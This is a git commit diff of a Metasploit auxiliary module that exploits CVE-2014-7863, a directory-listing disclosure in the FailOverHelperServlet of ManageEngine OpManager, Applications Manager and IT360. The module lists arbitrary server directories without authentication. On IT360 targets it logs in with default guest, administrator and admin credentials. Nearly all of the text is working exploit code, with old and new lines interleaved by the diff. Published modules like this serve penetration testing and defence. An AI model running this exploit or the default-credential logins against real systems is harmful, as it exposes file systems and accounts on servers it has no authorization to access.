Merge pull request #14 from jvazquez-r7/review_4659

Clean OpManager directory content disclosure module
bug/bundler_fix
Pedro Ribeiro 2015-01-31 19:48:20 +00:00
commit 50c518d763
1 changed files with 78 additions and 83 deletions

View File

@ -12,84 +12,83 @@ class Metasploit3 < Msf::Auxiliary
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
'Name' => "ManageEngine OpManager / Applications Manager / IT360 Arbitrary Directory Listing", 'Name' => "ManageEngine Multiple Products Arbitrary Directory Listing",
'Description' => %q{ 'Description' => %q{
This module exploits a directory listing information disclosure vulnerability in This module exploits a directory listing information disclosure vulnerability in the
FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It
It recurses through diretories, so it will list the whole drive if you ask it to list makes a recursive listing, so it will list the whole drive if you ask it to list / in
/ in Linux or C:\ in Windows. Linux or C:\ in Windows. This vulnerability is unauthenticated on OpManager and
This vulnerability is unauthenticated on OpManager and Applications Manager, but Applications Manager, but authenticated in IT360. This module will attempt to login
authenticated in IT360. This module will attempt to login using the default using the default credentials for the administrator and guest accounts; alternatively
credentials for the administrator and guest accounts; alternatively you can provide a you can provide a pre-authenticated cookie or a username / password combo. For IT360
pre-authenticated cookie or a username / password combo. targets enter the RPORT of the OpManager instance (usually 8300). This module has been
For IT360 targets enter the RPORT of the OpManager instance (usually 8300). tested on both Windows and Linux with several different versions Windows paths have to
This module has been tested on both Windows and Linux with several different versions be escaped with 4 backslashes on the command line. There is a companion module that
Windows paths have to be escaped with 4 backslashes on the command line. allows you to download an arbitrary file. This vulnerability has been fixed in Applications
There is a companion module that allows you to download an arbitrary file. Manager v11.9 b11912 and OpManager 11.6.
This vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
}, },
'Author' => 'Author' =>
[ [
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
[ [
[ 'CVE', '2014-7863' ], ['CVE', '2014-7863'],
[ 'OSVDB', 'TODO' ], ['OSVDB', 'TODO'],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt' ], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt'],
[ 'URL', 'FULLDISC_URL' ] ['URL', 'FULLDISC_URL']
], ],
'DefaultOptions' => { 'WfsDelay' => 30 },
'DisclosureDate' => 'Jan 28 2015')) 'DisclosureDate' => 'Jan 28 2015'))
register_options( register_options(
[ [
Opt::RPORT(80), Opt::RPORT(80),
OptString.new('TARGETURI', OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']),
[ true, "The base path to OpManager, AppManager or IT360", '/' ]), OptString.new('DIRECTORY', [true, 'Path of the directory to list', '/etc/']),
OptString.new('DIRECTORY', [false, 'Path of the directory to list', '/etc/']), OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
OptString.new('IAMAGENTTICKET', OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
[false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
OptString.new('USERNAME', OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
[true, 'The username to login as (IT360 target only)', 'guest']),
OptString.new('PASSWORD',
[true, 'Password for the specified username (IT360 target only)', 'guest']),
OptString.new('DOMAIN_NAME',
[false, 'Name of the domain to logon to (IT360 target only)'])
], self.class) ], self.class)
end end
def get_cookie def get_cookie
cookie = nil
res = send_request_cgi({ res = send_request_cgi({
'method' => 'GET', 'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI']) 'uri' => normalize_uri(datastore['TARGETURI'])
}) })
if res
return res.get_cookies
end
end
if res
cookie = res.get_cookies
end
cookie
end
def detect_it360 def detect_it360
res = send_request_cgi({ res = send_request_cgi({
'uri' => "/", 'uri' => '/',
'method' => 'GET' 'method' => 'GET'
}) })
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
return true return true
end end
return false return false
end end
def get_it360_cookie_name def get_it360_cookie_name
res = send_request_cgi({ res = send_request_cgi({
'method' => 'GET', 'method' => 'GET',
'uri' => normalize_uri("/"), 'uri' => normalize_uri('/')
}) })
cookie = res.get_cookies cookie = res.get_cookies
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
return $1 return $1
else else
@ -97,28 +96,24 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
def authenticate_it360(port, path, username, password) def authenticate_it360(port, path, username, password)
if datastore['DOMAIN_NAME'] == nil if datastore['DOMAIN_NAME'].nil?
vars_post = { vars_post = {
'LOGIN_ID' => username, 'LOGIN_ID' => username,
'PASSWORD' => password, 'PASSWORD' => password,
'isADEnabled' => "false" 'isADEnabled' => 'false'
} }
else else
vars_post = { vars_post = {
'LOGIN_ID' => username, 'LOGIN_ID' => username,
'PASSWORD' => password, 'PASSWORD' => password,
'isADEnabled' => "true", 'isADEnabled' => 'true',
'domainName' => datastore['DOMAIN_NAME'] 'domainName' => datastore['DOMAIN_NAME']
} }
end end
op_port = datastore['RPORT']
datastore['RPORT'] = port
res = send_request_cgi({ res = send_request_cgi({
'rport' => port,
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri(path), 'uri' => normalize_uri(path),
'vars_get' => { 'vars_get' => {
@ -129,29 +124,27 @@ class Metasploit3 < Msf::Auxiliary
'vars_post' => vars_post 'vars_post' => vars_post
}) })
datastore['RPORT'] = op_port
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
return res.get_cookies return res.get_cookies
else
return nil
end end
nil
end end
def login_it360 def login_it360
# Do we already have a valid cookie? If yes, just return that. # Do we already have a valid cookie? If yes, just return that.
if datastore['IAMAGENTTICKET'] != nil unless datastore['IAMAGENTTICKET'].nil?
cookie_name = get_it360_cookie_name cookie_name = get_it360_cookie_name
cookie = "IAMAGENTTICKET" + cookie_name + "=" + datastore['IAMAGENTTICKET'] + ";" cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
return cookie return cookie
end end
# get the correct path, host and port # get the correct path, host and port
res = send_request_cgi({ res = send_request_cgi({
'method' => 'GET', 'method' => 'GET',
'uri' => normalize_uri("/"), 'uri' => normalize_uri('/')
}) })
if res && res.redirect? if res && res.redirect?
@ -160,44 +153,46 @@ class Metasploit3 < Msf::Auxiliary
return nil return nil
end end
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'] && datastore['PASSWORD']
if cookie != nil print_status("#{peer} - Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
return cookie cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
elsif datastore['USERNAME'] == 'guest' && datastore['JSESSIONID'] == nil unless cookie.nil?
# we've tried with the default guest password, now let's try with the default admin password
cookie = authenticate_it360(uri[0], uri[1], 'administrator', 'administrator')
if cookie != nil
return cookie return cookie
else
# Try one more time with the default admin login for some versions
cookie = authenticate_it360(uri[0], uri[1], 'admin', 'admin')
if cookie != nil
return cookie
end
end end
end end
return nil
end
default_users = ['guest', 'administrator', 'admin']
default_users.each do |user|
print_status("#{peer} - Trying to authenticate as #{user}...")
cookie = authenticate_it360(uri[0], uri[1], user, user)
unless cookie.nil?
return cookie
end
end
nil
end
def run def run
# No point to continue if directory is not specified # No point to continue if directory is not specified
if datastore['DIRECTORY'].nil? || datastore['DIRECTORY'].empty? if datastore['DIRECTORY'].empty?
print_error("Please supply the path of the directory you want to list.") print_error('Please supply the path of the directory you want to list.')
return return
end end
if detect_it360 if detect_it360
print_status("#{peer} - Detected IT360, attempting to login...") print_status("#{peer} - Detected IT360, attempting to login...")
cookie = login_it360 cookie = login_it360
if cookie == nil
print_error("#{peer} - Failed to login to IT360!")
return
end
else else
cookie = get_cookie cookie = get_cookie
end end
if cookie.nil?
print_error("#{peer} - Failed to get application cookies!")
return
end
servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet' servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'
res = send_request_cgi({ res = send_request_cgi({
'method' => 'GET', 'method' => 'GET',
@ -218,7 +213,7 @@ class Metasploit3 < Msf::Auxiliary
'vars_get' => { 'vars_get' => {
'operation' => 'listdirectory', 'operation' => 'listdirectory',
'rootDirectory' => datastore['DIRECTORY'] 'rootDirectory' => datastore['DIRECTORY']
}, }
}) })
rescue Rex::ConnectionRefused rescue Rex::ConnectionRefused
print_error("#{peer} - Could not connect.") print_error("#{peer} - Could not connect.")
@ -226,7 +221,7 @@ class Metasploit3 < Msf::Auxiliary
end end
# Show data if needed # Show data if needed
if res && res.code == 200 if res && res.code == 200 && res.body
vprint_line(res.body.to_s) vprint_line(res.body.to_s)
fname = File.basename(datastore['DIRECTORY']) fname = File.basename(datastore['DIRECTORY'])
@ -234,7 +229,7 @@ class Metasploit3 < Msf::Auxiliary
'manageengine.http', 'manageengine.http',
'text/plain', 'text/plain',
datastore['RHOST'], datastore['RHOST'],
res.body, res.body.to_s,
fname fname
) )
print_good("File with directory listing saved in: #{path}") print_good("File with directory listing saved in: #{path}")